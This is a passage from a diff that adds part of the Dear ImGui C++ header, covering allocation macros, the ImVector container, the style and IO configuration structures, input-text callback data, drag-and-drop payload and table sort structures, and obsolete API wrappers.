object/window is appearing after being hidden/inactive (or the first time) +}; + +//----------------------------------------------------------------------------- +// [SECTION] Helpers: Memory allocations macros, ImVector<> +//----------------------------------------------------------------------------- + +//----------------------------------------------------------------------------- +// IM_MALLOC(), IM_FREE(), IM_NEW(), IM_PLACEMENT_NEW(), IM_DELETE() +// We call C++ constructor on own allocated memory via the placement "new(ptr) Type()" syntax. +// Defining a custom placement new() with a custom parameter allows us to bypass including which on some platforms complains when user has disabled exceptions. +//----------------------------------------------------------------------------- + +struct ImNewWrapper {}; +inline void* operator new(size_t, ImNewWrapper, void* ptr) { return ptr; } +inline void operator delete(void*, ImNewWrapper, void*) {} // This is only required so we can use the symmetrical new() +#define IM_ALLOC(_SIZE) ImGui::MemAlloc(_SIZE) +#define IM_FREE(_PTR) ImGui::MemFree(_PTR) +#define IM_PLACEMENT_NEW(_PTR) new(ImNewWrapper(), _PTR) +#define IM_NEW(_TYPE) new(ImNewWrapper(), ImGui::MemAlloc(sizeof(_TYPE))) _TYPE +template void IM_DELETE(T* p) { if (p) { p->~T(); ImGui::MemFree(p); } } + +//----------------------------------------------------------------------------- +// ImVector<> +// Lightweight std::vector<>-like class to avoid dragging dependencies (also, some implementations of STL with debug enabled are absurdly slow, we bypass it so our code runs fast in debug). +//----------------------------------------------------------------------------- +// - You generally do NOT need to care or use this ever. But we need to make it available in imgui.h because some of our public structures are relying on it. +// - We use std-like naming convention here, which is a little unusual for this codebase. +// - Important: clear() frees memory, resize(0) keep the allocated buffer. We use resize(0) a lot to intentionally recycle allocated buffers across frames and amortize our costs. +// - Important: our implementation does NOT call C++ constructors/destructors, we treat everything as raw data! This is intentional but be extra mindful of that, +// Do NOT use this class as a std::vector replacement in your own code! Many of the structures used by dear imgui can be safely initialized by a zero-memset. +//----------------------------------------------------------------------------- + +template +struct ImVector +{ + int Size; + int Capacity; + T* Data; + + // Provide standard typedefs but we don't use them ourselves. + typedef T value_type; + typedef value_type* iterator; + typedef const value_type* const_iterator; + + // Constructors, destructor + inline ImVector() { Size = Capacity = 0; Data = NULL; } + inline ImVector(const ImVector& src) { Size = Capacity = 0; Data = NULL; operator=(src); } + inline ImVector& operator=(const ImVector& src) { clear(); resize(src.Size); memcpy(Data, src.Data, (size_t)Size * sizeof(T)); return *this; } + inline ~ImVector() { if (Data) IM_FREE(Data); } + + inline bool empty() const { return Size == 0; } + inline int size() const { return Size; } + inline int size_in_bytes() const { return Size * (int)sizeof(T); } + inline int max_size() const { return 0x7FFFFFFF / (int)sizeof(T); } + inline int capacity() const { return Capacity; } + inline T& operator[](int i) { IM_ASSERT(i >= 0 && i < Size); return Data[i]; } + inline const T& operator[](int i) const { IM_ASSERT(i >= 0 && i < Size); return Data[i]; } + + inline void clear() { if (Data) { Size = Capacity = 0; IM_FREE(Data); Data = NULL; } } + inline T* begin() { return Data; } + inline const T* begin() const { return Data; } + inline T* end() { return Data + Size; } + inline const T* end() const { return Data + Size; } + inline T& front() { IM_ASSERT(Size > 0); return Data[0]; } + inline const T& front() const { IM_ASSERT(Size > 0); return Data[0]; } + inline T& back() { IM_ASSERT(Size > 0); return Data[Size - 1]; } + inline const T& back() const { IM_ASSERT(Size > 0); return Data[Size - 1]; } + inline void swap(ImVector& rhs) { int rhs_size = rhs.Size; rhs.Size = Size; Size = rhs_size; int rhs_cap = rhs.Capacity; rhs.Capacity = Capacity; Capacity = rhs_cap; T* rhs_data = rhs.Data; rhs.Data = Data; Data = rhs_data; } + + inline int _grow_capacity(int sz) const { int new_capacity = Capacity ? (Capacity + Capacity / 2) : 8; return new_capacity > sz ? new_capacity : sz; } + inline void resize(int new_size) { if (new_size > Capacity) reserve(_grow_capacity(new_size)); Size = new_size; } + inline void resize(int new_size, const T& v) { if (new_size > Capacity) reserve(_grow_capacity(new_size)); if (new_size > Size) for (int n = Size; n < new_size; n++) memcpy(&Data[n], &v, sizeof(v)); Size = new_size; } + inline void shrink(int new_size) { IM_ASSERT(new_size <= Size); Size = new_size; } // Resize a vector to a smaller size, guaranteed not to cause a reallocation + inline void reserve(int new_capacity) { if (new_capacity <= Capacity) return; T* new_data = (T*)IM_ALLOC((size_t)new_capacity * sizeof(T)); if (Data) { memcpy(new_data, Data, (size_t)Size * sizeof(T)); IM_FREE(Data); } Data = new_data; Capacity = new_capacity; } + + // NB: It is illegal to call push_back/push_front/insert with a reference pointing inside the ImVector data itself! e.g. v.push_back(v[10]) is forbidden. + inline void push_back(const T& v) { if (Size == Capacity) reserve(_grow_capacity(Size + 1)); memcpy(&Data[Size], &v, sizeof(v)); Size++; } + inline void pop_back() { IM_ASSERT(Size > 0); Size--; } + inline void push_front(const T& v) { if (Size == 0) push_back(v); else insert(Data, v); } + inline T* erase(const T* it) { IM_ASSERT(it >= Data && it < Data + Size); const ptrdiff_t off = it - Data; memmove(Data + off, Data + off + 1, ((size_t)Size - (size_t)off - 1) * sizeof(T)); Size--; return Data + off; } + inline T* erase(const T* it, const T* it_last){ IM_ASSERT(it >= Data && it < Data + Size && it_last > it && it_last <= Data + Size); const ptrdiff_t count = it_last - it; const ptrdiff_t off = it - Data; memmove(Data + off, Data + off + count, ((size_t)Size - (size_t)off - count) * sizeof(T)); Size -= (int)count; return Data + off; } + inline T* erase_unsorted(const T* it) { IM_ASSERT(it >= Data && it < Data + Size); const ptrdiff_t off = it - Data; if (it < Data + Size - 1) memcpy(Data + off, Data + Size - 1, sizeof(T)); Size--; return Data + off; } + inline T* insert(const T* it, const T& v) { IM_ASSERT(it >= Data && it <= Data + Size); const ptrdiff_t off = it - Data; if (Size == Capacity) reserve(_grow_capacity(Size + 1)); if (off < (int)Size) memmove(Data + off + 1, Data + off, ((size_t)Size - (size_t)off) * sizeof(T)); memcpy(&Data[off], &v, sizeof(v)); Size++; return Data + off; } + inline bool contains(const T& v) const { const T* data = Data; const T* data_end = Data + Size; while (data < data_end) if (*data++ == v) return true; return false; } + inline T* find(const T& v) { T* data = Data; const T* data_end = Data + Size; while (data < data_end) if (*data == v) break; else ++data; return data; } + inline const T* find(const T& v) const { const T* data = Data; const T* data_end = Data + Size; while (data < data_end) if (*data == v) break; else ++data; return data; } + inline bool find_erase(const T& v) { const T* it = find(v); if (it < Data + Size) { erase(it); return true; } return false; } + inline bool find_erase_unsorted(const T& v) { const T* it = find(v); if (it < Data + Size) { erase_unsorted(it); return true; } return false; } + inline int index_from_ptr(const T* it) const { IM_ASSERT(it >= Data && it < Data + Size); const ptrdiff_t off = it - Data; return (int)off; } +}; + +//----------------------------------------------------------------------------- +// [SECTION] ImGuiStyle +//----------------------------------------------------------------------------- +// You may modify the ImGui::GetStyle() main instance during initialization and before NewFrame(). +// During the frame, use ImGui::PushStyleVar(ImGuiStyleVar_XXXX)/PopStyleVar() to alter the main style values, +// and ImGui::PushStyleColor(ImGuiCol_XXX)/PopStyleColor() for colors. +//----------------------------------------------------------------------------- + +struct ImGuiStyle +{ + float Alpha; // Global alpha applies to everything in Dear ImGui. + ImVec2 WindowPadding; // Padding within a window. + float WindowRounding; // Radius of window corners rounding. Set to 0.0f to have rectangular windows. Large values tend to lead to variety of artifacts and are not recommended. + float WindowBorderSize; // Thickness of border around windows. Generally set to 0.0f or 1.0f. (Other values are not well tested and more CPU/GPU costly). + ImVec2 WindowMinSize; // Minimum window size. This is a global setting. If you want to constraint individual windows, use SetNextWindowSizeConstraints(). + ImVec2 WindowTitleAlign; // Alignment for title bar text. Defaults to (0.0f,0.5f) for left-aligned,vertically centered. + ImGuiDir WindowMenuButtonPosition; // Side of the collapsing/docking button in the title bar (None/Left/Right). Defaults to ImGuiDir_Left. + float ChildRounding; // Radius of child window corners rounding. Set to 0.0f to have rectangular windows. + float ChildBorderSize; // Thickness of border around child windows. Generally set to 0.0f or 1.0f. (Other values are not well tested and more CPU/GPU costly). + float PopupRounding; // Radius of popup window corners rounding. (Note that tooltip windows use WindowRounding) + float PopupBorderSize; // Thickness of border around popup/tooltip windows. Generally set to 0.0f or 1.0f. (Other values are not well tested and more CPU/GPU costly). + ImVec2 FramePadding; // Padding within a framed rectangle (used by most widgets). + float FrameRounding; // Radius of frame corners rounding. Set to 0.0f to have rectangular frame (used by most widgets). + float FrameBorderSize; // Thickness of border around frames. Generally set to 0.0f or 1.0f. (Other values are not well tested and more CPU/GPU costly). + ImVec2 ItemSpacing; // Horizontal and vertical spacing between widgets/lines. + ImVec2 ItemInnerSpacing; // Horizontal and vertical spacing between within elements of a composed widget (e.g. a slider and its label). + ImVec2 CellPadding; // Padding within a table cell + ImVec2 TouchExtraPadding; // Expand reactive bounding box for touch-based system where touch position is not accurate enough. Unfortunately we don't sort widgets so priority on overlap will always be given to the first widget. So don't grow this too much! + float IndentSpacing; // Horizontal indentation when e.g. entering a tree node. Generally == (FontSize + FramePadding.x*2). + float ColumnsMinSpacing; // Minimum horizontal spacing between two columns. Preferably > (FramePadding.x + 1). + float ScrollbarSize; // Width of the vertical scrollbar, Height of the horizontal scrollbar. + float ScrollbarRounding; // Radius of grab corners for scrollbar. + float GrabMinSize; // Minimum width/height of a grab box for slider/scrollbar. + float GrabRounding; // Radius of grabs corners rounding. Set to 0.0f to have rectangular slider grabs. + float LogSliderDeadzone; // The size in pixels of the dead-zone around zero on logarithmic sliders that cross zero. + float TabRounding; // Radius of upper corners of a tab. Set to 0.0f to have rectangular tabs. + float TabBorderSize; // Thickness of border around tabs. + float TabMinWidthForCloseButton; // Minimum width for close button to appears on an unselected tab when hovered. Set to 0.0f to always show when hovering, set to FLT_MAX to never show close button unless selected. + ImGuiDir ColorButtonPosition; // Side of the color button in the ColorEdit4 widget (left/right). Defaults to ImGuiDir_Right. + ImVec2 ButtonTextAlign; // Alignment of button text when button is larger than text. Defaults to (0.5f, 0.5f) (centered). + ImVec2 SelectableTextAlign; // Alignment of selectable text. Defaults to (0.0f, 0.0f) (top-left aligned). It's generally important to keep this left-aligned if you want to lay multiple items on a same line. + ImVec2 DisplayWindowPadding; // Window position are clamped to be visible within the display area or monitors by at least this amount. Only applies to regular windows. + ImVec2 DisplaySafeAreaPadding; // If you cannot see the edges of your screen (e.g. on a TV) increase the safe area padding. Apply to popups/tooltips as well regular windows. NB: Prefer configuring your TV sets correctly! + float MouseCursorScale; // Scale software rendered mouse cursor (when io.MouseDrawCursor is enabled). May be removed later. + bool AntiAliasedLines; // Enable anti-aliased lines/borders. Disable if you are really tight on CPU/GPU. Latched at the beginning of the frame (copied to ImDrawList). + bool AntiAliasedLinesUseTex; // Enable anti-aliased lines/borders using textures where possible. Require backend to render with bilinear filtering. Latched at the beginning of the frame (copied to ImDrawList). + bool AntiAliasedFill; // Enable anti-aliased edges around filled shapes (rounded rectangles, circles, etc.). Disable if you are really tight on CPU/GPU. Latched at the beginning of the frame (copied to ImDrawList). + float CurveTessellationTol; // Tessellation tolerance when using PathBezierCurveTo() without a specific number of segments. Decrease for highly tessellated curves (higher quality, more polygons), increase to reduce quality. + float CircleSegmentMaxError; // Maximum error (in pixels) allowed when using AddCircle()/AddCircleFilled() or drawing rounded corner rectangles with no explicit segment count specified. Decrease for higher quality but more geometry. + ImVec4 Colors[ImGuiCol_COUNT]; + + IMGUI_API ImGuiStyle(); + IMGUI_API void ScaleAllSizes(float scale_factor); +}; + +//----------------------------------------------------------------------------- +// [SECTION] ImGuiIO +//----------------------------------------------------------------------------- +// Communicate most settings and inputs/outputs to Dear ImGui using this structure. +// Access via ImGui::GetIO(). Read 'Programmer guide' section in .cpp file for general usage. +//----------------------------------------------------------------------------- + +struct ImGuiIO +{ + //------------------------------------------------------------------ + // Configuration (fill once) // Default value + //------------------------------------------------------------------ + + ImGuiConfigFlags ConfigFlags; // = 0 // See ImGuiConfigFlags_ enum. Set by user/application. Gamepad/keyboard navigation options, etc. + ImGuiBackendFlags BackendFlags; // = 0 // See ImGuiBackendFlags_ enum. Set by backend (imgui_impl_xxx files or custom backend) to communicate features supported by the backend. + ImVec2 DisplaySize; // // Main display size, in pixels. + float DeltaTime; // = 1.0f/60.0f // Time elapsed since last frame, in seconds. + float IniSavingRate; // = 5.0f // Minimum time between saving positions/sizes to .ini file, in seconds. + const char* IniFilename; // = "imgui.ini" // Path to .ini file. Set NULL to disable automatic .ini loading/saving, if e.g. you want to manually load/save from memory. + const char* LogFilename; // = "imgui_log.txt"// Path to .log file (default parameter to ImGui::LogToFile when no file is specified). + float MouseDoubleClickTime; // = 0.30f // Time for a double-click, in seconds. + float MouseDoubleClickMaxDist; // = 6.0f // Distance threshold to stay in to validate a double-click, in pixels. + float MouseDragThreshold; // = 6.0f // Distance threshold before considering we are dragging. + int KeyMap[ImGuiKey_COUNT]; // // Map of indices into the KeysDown[512] entries array which represent your "native" keyboard state. + float KeyRepeatDelay; // = 0.250f // When holding a key/button, time before it starts repeating, in seconds (for buttons in Repeat mode, etc.). + float KeyRepeatRate; // = 0.050f // When holding a key/button, rate at which it repeats, in seconds. + void* UserData; // = NULL // Store your own data for retrieval by callbacks. + + ImFontAtlas*Fonts; // // Font atlas: load, rasterize and pack one or more fonts into a single texture. + float FontGlobalScale; // = 1.0f // Global scale all fonts + bool FontAllowUserScaling; // = false // Allow user scaling text of individual window with CTRL+Wheel. + ImFont* FontDefault; // = NULL // Font to use on NewFrame(). Use NULL to uses Fonts->Fonts[0]. + ImVec2 DisplayFramebufferScale; // = (1, 1) // For retina display or other situations where window coordinates are different from framebuffer coordinates. This generally ends up in ImDrawData::FramebufferScale. + + // Miscellaneous options + bool MouseDrawCursor; // = false // Request ImGui to draw a mouse cursor for you (if you are on a platform without a mouse cursor). Cannot be easily renamed to 'io.ConfigXXX' because this is frequently used by backend implementations. + bool ConfigMacOSXBehaviors; // = defined(__APPLE__) // OS X style: Text editing cursor movement using Alt instead of Ctrl, Shortcuts using Cmd/Super instead of Ctrl, Line/Text Start and End using Cmd+Arrows instead of Home/End, Double click selects by word instead of selecting whole text, Multi-selection in lists uses Cmd/Super instead of Ctrl. + bool ConfigInputTextCursorBlink; // = true // Set to false to disable blinking cursor, for users who consider it distracting. + bool ConfigWindowsResizeFromEdges; // = true // Enable resizing of windows from their edges and from the lower-left corner. This requires (io.BackendFlags & ImGuiBackendFlags_HasMouseCursors) because it needs mouse cursor feedback. (This used to be a per-window ImGuiWindowFlags_ResizeFromAnySide flag) + bool ConfigWindowsMoveFromTitleBarOnly; // = false // [BETA] Set to true to only allow moving windows when clicked+dragged from the title bar. Windows without a title bar are not affected. + float ConfigMemoryCompactTimer; // = 60.0f // [BETA] Free transient windows/tables memory buffers when unused for given amount of time. Set to -1.0f to disable. + + //------------------------------------------------------------------ + // Platform Functions + // (the imgui_impl_xxxx backend files are setting those up for you) + //------------------------------------------------------------------ + + // Optional: Platform/Renderer backend name (informational only! will be displayed in About Window) + User data for backend/wrappers to store their own stuff. + const char* BackendPlatformName; // = NULL + const char* BackendRendererName; // = NULL + void* BackendPlatformUserData; // = NULL // User data for platform backend + void* BackendRendererUserData; // = NULL // User data for renderer backend + void* BackendLanguageUserData; // = NULL // User data for non C++ programming language backend + + // Optional: Access OS clipboard + // (default to use native Win32 clipboard on Windows, otherwise uses a private clipboard. Override to access OS clipboard on other architectures) + const char* (*GetClipboardTextFn)(void* user_data); + void (*SetClipboardTextFn)(void* user_data, const char* text); + void* ClipboardUserData; + + // Optional: Notify OS Input Method Editor of the screen position of your cursor for text input position (e.g. when using Japanese/Chinese IME on Windows) + // (default to use native imm32 api on Windows) + void (*ImeSetInputScreenPosFn)(int x, int y); + void* ImeWindowHandle; // = NULL // (Windows) Set this to your HWND to get automatic IME cursor positioning. + + //------------------------------------------------------------------ + // Input - Fill before calling NewFrame() + //------------------------------------------------------------------ + + ImVec2 MousePos; // Mouse position, in pixels. Set to ImVec2(-FLT_MAX, -FLT_MAX) if mouse is unavailable (on another screen, etc.) + bool MouseDown[5]; // Mouse buttons: 0=left, 1=right, 2=middle + extras (ImGuiMouseButton_COUNT == 5). Dear ImGui mostly uses left and right buttons. Others buttons allows us to track if the mouse is being used by your application + available to user as a convenience via IsMouse** API. + float MouseWheel; // Mouse wheel Vertical: 1 unit scrolls about 5 lines text. + float MouseWheelH; // Mouse wheel Horizontal. Most users don't have a mouse with an horizontal wheel, may not be filled by all backends. + bool KeyCtrl; // Keyboard modifier pressed: Control + bool KeyShift; // Keyboard modifier pressed: Shift + bool KeyAlt; // Keyboard modifier pressed: Alt + bool KeySuper; // Keyboard modifier pressed: Cmd/Super/Windows + bool KeysDown[512]; // Keyboard keys that are pressed (ideally left in the "native" order your engine has access to keyboard keys, so you can use your own defines/enums for keys). + float NavInputs[ImGuiNavInput_COUNT]; // Gamepad inputs. Cleared back to zero by EndFrame(). Keyboard keys will be auto-mapped and be written here by NewFrame(). + + // Functions + IMGUI_API void AddInputCharacter(unsigned int c); // Queue new character input + IMGUI_API void AddInputCharacterUTF16(ImWchar16 c); // Queue new character input from an UTF-16 character, it can be a surrogate + IMGUI_API void AddInputCharactersUTF8(const char* str); // Queue new characters input from an UTF-8 string + IMGUI_API void ClearInputCharacters(); // Clear the text input buffer manually + + //------------------------------------------------------------------ + // Output - Updated by NewFrame() or EndFrame()/Render() + // (when reading from the io.WantCaptureMouse, io.WantCaptureKeyboard flags to dispatch your inputs, it is + // generally easier and more correct to use their state BEFORE calling NewFrame(). See FAQ for details!) + //------------------------------------------------------------------ + + bool WantCaptureMouse; // Set when Dear ImGui will use mouse inputs, in this case do not dispatch them to your main game/application (either way, always pass on mouse inputs to imgui). (e.g. unclicked mouse is hovering over an imgui window, widget is active, mouse was clicked over an imgui window, etc.). + bool WantCaptureKeyboard; // Set when Dear ImGui will use keyboard inputs, in this case do not dispatch them to your main game/application (either way, always pass keyboard inputs to imgui). (e.g. InputText active, or an imgui window is focused and navigation is enabled, etc.). + bool WantTextInput; // Mobile/console: when set, you may display an on-screen keyboard. This is set by Dear ImGui when it wants textual keyboard input to happen (e.g. when a InputText widget is active). + bool WantSetMousePos; // MousePos has been altered, backend should reposition mouse on next frame. Rarely used! Set only when ImGuiConfigFlags_NavEnableSetMousePos flag is enabled. + bool WantSaveIniSettings; // When manual .ini load/save is active (io.IniFilename == NULL), this will be set to notify your application that you can call SaveIniSettingsToMemory() and save yourself. Important: clear io.WantSaveIniSettings yourself after saving! + bool NavActive; // Keyboard/Gamepad navigation is currently allowed (will handle ImGuiKey_NavXXX events) = a window is focused and it doesn't use the ImGuiWindowFlags_NoNavInputs flag. + bool NavVisible; // Keyboard/Gamepad navigation is visible and allowed (will handle ImGuiKey_NavXXX events). + float Framerate; // Application framerate estimate, in frame per second. Solely for convenience. Rolling average estimation based on io.DeltaTime over 120 frames. + int MetricsRenderVertices; // Vertices output during last call to Render() + int MetricsRenderIndices; // Indices output during last call to Render() = number of triangles * 3 + int MetricsRenderWindows; // Number of visible windows + int MetricsActiveWindows; // Number of active windows + int MetricsActiveAllocations; // Number of active allocations, updated by MemAlloc/MemFree based on current context. May be off if you have multiple imgui contexts. + ImVec2 MouseDelta; // Mouse delta. Note that this is zero if either current or previous position are invalid (-FLT_MAX,-FLT_MAX), so a disappearing/reappearing mouse won't have a huge delta. + + //------------------------------------------------------------------ + // [Internal] Dear ImGui will maintain those fields. Forward compatibility not guaranteed! + //------------------------------------------------------------------ + + ImGuiKeyModFlags KeyMods; // Key mods flags (same as io.KeyCtrl/KeyShift/KeyAlt/KeySuper but merged into flags), updated by NewFrame() + ImVec2 MousePosPrev; // Previous mouse position (note that MouseDelta is not necessary == MousePos-MousePosPrev, in case either position is invalid) + ImVec2 MouseClickedPos[5]; // Position at time of clicking + double MouseClickedTime[5]; // Time of last click (used to figure out double-click) + bool MouseClicked[5]; // Mouse button went from !Down to Down + bool MouseDoubleClicked[5]; // Has mouse button been double-clicked? + bool MouseReleased[5]; // Mouse button went from Down to !Down + bool MouseDownOwned[5]; // Track if button was clicked inside a dear imgui window. We don't request mouse capture from the application if click started outside ImGui bounds. + bool MouseDownWasDoubleClick[5]; // Track if button down was a double-click + float MouseDownDuration[5]; // Duration the mouse button has been down (0.0f == just clicked) + float MouseDownDurationPrev[5]; // Previous time the mouse button has been down + ImVec2 MouseDragMaxDistanceAbs[5]; // Maximum distance, absolute, on each axis, of how much mouse has traveled from the clicking point + float MouseDragMaxDistanceSqr[5]; // Squared maximum distance of how much mouse has traveled from the clicking point + float KeysDownDuration[512]; // Duration the keyboard key has been down (0.0f == just pressed) + float KeysDownDurationPrev[512]; // Previous duration the key has been down + float NavInputsDownDuration[ImGuiNavInput_COUNT]; + float NavInputsDownDurationPrev[ImGuiNavInput_COUNT]; + float PenPressure; // Touch/Pen pressure (0.0f to 1.0f, should be >0.0f only when MouseDown[0] == true). Helper storage currently unused by Dear ImGui. + ImWchar16 InputQueueSurrogate; // For AddInputCharacterUTF16 + ImVector InputQueueCharacters; // Queue of _characters_ input (obtained by platform backend). Fill using AddInputCharacter() helper. + + IMGUI_API ImGuiIO(); +}; + +//----------------------------------------------------------------------------- +// [SECTION] Misc data structures +//----------------------------------------------------------------------------- + +// Shared state of InputText(), passed as an argument to your callback when a ImGuiInputTextFlags_Callback* flag is used. +// The callback function should return 0 by default. +// Callbacks (follow a flag name and see comments in ImGuiInputTextFlags_ declarations for more details) +// - ImGuiInputTextFlags_CallbackEdit: Callback on buffer edit (note that InputText() already returns true on edit, the callback is useful mainly to manipulate the underlying buffer while focus is active) +// - ImGuiInputTextFlags_CallbackAlways: Callback on each iteration +// - ImGuiInputTextFlags_CallbackCompletion: Callback on pressing TAB +// - ImGuiInputTextFlags_CallbackHistory: Callback on pressing Up/Down arrows +// - ImGuiInputTextFlags_CallbackCharFilter: Callback on character inputs to replace or discard them. Modify 'EventChar' to replace or discard, or return 1 in callback to discard. +// - ImGuiInputTextFlags_CallbackResize: Callback on buffer capacity changes request (beyond 'buf_size' parameter value), allowing the string to grow. +struct ImGuiInputTextCallbackData +{ + ImGuiInputTextFlags EventFlag; // One ImGuiInputTextFlags_Callback* // Read-only + ImGuiInputTextFlags Flags; // What user passed to InputText() // Read-only + void* UserData; // What user passed to InputText() // Read-only + + // Arguments for the different callback events + // - To modify the text buffer in a callback, prefer using the InsertChars() / DeleteChars() function. InsertChars() will take care of calling the resize callback if necessary. + // - If you know your edits are not going to resize the underlying buffer allocation, you may modify the contents of 'Buf[]' directly. You need to update 'BufTextLen' accordingly (0 <= BufTextLen < BufSize) and set 'BufDirty'' to true so InputText can update its internal state. + ImWchar EventChar; // Character input // Read-write // [CharFilter] Replace character with another one, or set to zero to drop. return 1 is equivalent to setting EventChar=0; + ImGuiKey EventKey; // Key pressed (Up/Down/TAB) // Read-only // [Completion,History] + char* Buf; // Text buffer // Read-write // [Resize] Can replace pointer / [Completion,History,Always] Only write to pointed data, don't replace the actual pointer! + int BufTextLen; // Text length (in bytes) // Read-write // [Resize,Completion,History,Always] Exclude zero-terminator storage. In C land: == strlen(some_text), in C++ land: string.length() + int BufSize; // Buffer size (in bytes) = capacity+1 // Read-only // [Resize,Completion,History,Always] Include zero-terminator storage. In C land == ARRAYSIZE(my_char_array), in C++ land: string.capacity()+1 + bool BufDirty; // Set if you modify Buf/BufTextLen! // Write // [Completion,History,Always] + int CursorPos; // // Read-write // [Completion,History,Always] + int SelectionStart; // // Read-write // [Completion,History,Always] == to SelectionEnd when no selection) + int SelectionEnd; // // Read-write // [Completion,History,Always] + + // Helper functions for text manipulation. + // Use those function to benefit from the CallbackResize behaviors. Calling those function reset the selection. + IMGUI_API ImGuiInputTextCallbackData(); + IMGUI_API void DeleteChars(int pos, int bytes_count); + IMGUI_API void InsertChars(int pos, const char* text, const char* text_end = NULL); + void SelectAll() { SelectionStart = 0; SelectionEnd = BufTextLen; } + void ClearSelection() { SelectionStart = SelectionEnd = BufTextLen; } + bool HasSelection() const { return SelectionStart != SelectionEnd; } +}; + +// Resizing callback data to apply custom constraint. As enabled by SetNextWindowSizeConstraints(). Callback is called during the next Begin(). +// NB: For basic min/max size constraint on each axis you don't need to use the callback! The SetNextWindowSizeConstraints() parameters are enough. +struct ImGuiSizeCallbackData +{ + void* UserData; // Read-only. What user passed to SetNextWindowSizeConstraints() + ImVec2 Pos; // Read-only. Window position, for reference. + ImVec2 CurrentSize; // Read-only. Current window size. + ImVec2 DesiredSize; // Read-write. Desired size, based on user's mouse position. Write to this field to restrain resizing. +}; + +// Data payload for Drag and Drop operations: AcceptDragDropPayload(), GetDragDropPayload() +struct ImGuiPayload +{ + // Members + void* Data; // Data (copied and owned by dear imgui) + int DataSize; // Data size + + // [Internal] + ImGuiID SourceId; // Source item id + ImGuiID SourceParentId; // Source parent id (if available) + int DataFrameCount; // Data timestamp + char DataType[32 + 1]; // Data type tag (short user-supplied string, 32 characters max) + bool Preview; // Set when AcceptDragDropPayload() was called and mouse has been hovering the target item (nb: handle overlapping drag targets) + bool Delivery; // Set when AcceptDragDropPayload() was called and mouse button is released over the target item. + + ImGuiPayload() { Clear(); } + void Clear() { SourceId = SourceParentId = 0; Data = NULL; DataSize = 0; memset(DataType, 0, sizeof(DataType)); DataFrameCount = -1; Preview = Delivery = false; } + bool IsDataType(const char* type) const { return DataFrameCount != -1 && strcmp(type, DataType) == 0; } + bool IsPreview() const { return Preview; } + bool IsDelivery() const { return Delivery; } +}; + +// Sorting specification for one column of a table (sizeof == 12 bytes) +struct ImGuiTableColumnSortSpecs +{ + ImGuiID ColumnUserID; // User id of the column (if specified by a TableSetupColumn() call) + ImS16 ColumnIndex; // Index of the column + ImS16 SortOrder; // Index within parent ImGuiTableSortSpecs (always stored in order starting from 0, tables sorted on a single criteria will always have a 0 here) + ImGuiSortDirection SortDirection : 8; // ImGuiSortDirection_Ascending or ImGuiSortDirection_Descending (you can use this or SortSign, whichever is more convenient for your sort function) + + ImGuiTableColumnSortSpecs() { memset(this, 0, sizeof(*this)); } +}; + +// Sorting specifications for a table (often handling sort specs for a single column, occasionally more) +// Obtained by calling TableGetSortSpecs(). +// When 'SpecsDirty == true' you can sort your data. It will be true with sorting specs have changed since last call, or the first time. +// Make sure to set 'SpecsDirty = false' after sorting, else you may wastefully sort your data every frame! +struct ImGuiTableSortSpecs +{ + const ImGuiTableColumnSortSpecs* Specs; // Pointer to sort spec array. + int SpecsCount; // Sort spec count. Most often 1. May be > 1 when ImGuiTableFlags_SortMulti is enabled. May be == 0 when ImGuiTableFlags_SortTristate is enabled. + bool SpecsDirty; // Set to true when specs have changed since last time! Use this to sort again, then clear the flag. + + ImGuiTableSortSpecs() { memset(this, 0, sizeof(*this)); } +}; + +//----------------------------------------------------------------------------- +// [SECTION] Obsolete functions +// (Will be removed! Read 'API BREAKING CHANGES' section in imgui.cpp for details) +// Please keep your copy of dear imgui up to date! Occasionally set '#define IMGUI_DISABLE_OBSOLETE_FUNCTIONS' in imconfig.h to stay ahead. +//----------------------------------------------------------------------------- + +#ifndef IMGUI_DISABLE_OBSOLETE_FUNCTIONS +namespace ImGui +{ + // OBSOLETED in 1.79 (from August 2020) + static inline void OpenPopupContextItem(const char* str_id = NULL, ImGuiMouseButton mb = 1) { OpenPopupOnItemClick(str_id, mb); } // Bool return value removed. Use IsWindowAppearing() in BeginPopup() instead. Renamed in 1.77, renamed back in 1.79. Sorry! + // OBSOLETED in 1.78 (from June 2020) + // Old drag/sliders functions that took a 'float power = 1.0' argument instead of flags. + // For shared code, you can version check at compile-time with `#if IMGUI_VERSION_NUM >= 17704`. + IMGUI_API bool DragScalar(const char* label, ImGuiDataType data_type, void* p_data, float v_speed, const void* p_min, const void* p_max, const char* format, float power); + IMGUI_API bool DragScalarN(const char* label, ImGuiDataType data_type, void* p_data, int components, float v_speed, const void* p_min, const void* p_max, const char* format, float power); + static inline bool DragFloat(const char* label, float* v, float v_speed, float v_min, float v_max, const char* format, float power) { return DragScalar(label, ImGuiDataType_Float, v, v_speed, &v_min, &v_max, format, power); } + static inline bool DragFloat2(const char* label, float v[2], float v_speed, float v_min, float v_max, const char* format, float power) { return DragScalarN(label, ImGuiDataType_Float, v, 2, v_speed, &v_min, &v_max, format, power); } + static inline bool DragFloat3(const char* label, float v[3], float v_speed, float v_min, float v_max, const char* format, float power) { return DragScalarN(label, ImGuiDataType_Float, v, 3, v_speed, &v_min, &v_max, format, power); } + static inline bool DragFloat4(const char* label, float v[4], float v_speed, float v_min, float v_max, const char* format, float power) { return DragScalarN(label, ImGuiDataType_Float, v, 4, v_speed, &v_min, &v_max, format, power); } + IMGUI_API bool SliderScalar(const char* label, ImGuiDataType data_type, void* p_data, const void* p_min, const void* p_max, const char* format, float power); + IMGUI_API bool SliderScalarN(const char* label, ImGuiDataType data_type, void* p_data, int components, const void* p_min, const void* p_max, const char* format, float power); + static inline bool SliderFloat(const char* label, float* v, float v_min, float v_max, const char* format, float power) { return SliderScalar(label, ImGuiDataType_Float, v, &v_min, &v_max, format, power); } + static inline bool SliderFloat2(const char* label, float v[2], float v_min, float v_max, const char* format, float power) { return SliderScalarN(label, ImGuiDataType_Float, v, 2, &v_min, &v_max, format, power); } + static inline bool SliderFloat3(const char* label, float v[3], float v_min, float v_max, const char* format, float power) { return SliderScalarN(label, ImGuiDataType_Float, v, 3, &v_min, &v_max, format, power); } + static inline bool SliderFloat4(const char* label, float v[4], float v_min, float v_max, const char* format, float power) { return SliderScalarN(label, ImGuiDataType_Float, v, 4, &v_min, &v_max, format, power); } + // OBSOLETED in 1.77 (from June 2020) + static inline bool BeginPopupContextWindow(const char* str_id, ImGuiMouseButton mb, bool over_items) { return BeginPopupContextWindow(str_id, mb | (over_items ? 0 : ImGuiPopupFlags_NoOpenOverItems)); } + // OBSOLETED in 1.72 (from April 2019) + static inline void TreeAdvanceToLabelPos() { SetCursorPosX(GetCursorPosX() + GetTreeNodeToLabelSpacing()); } + // OBSOLETED in 1.71 (from June 2019) + static inline void 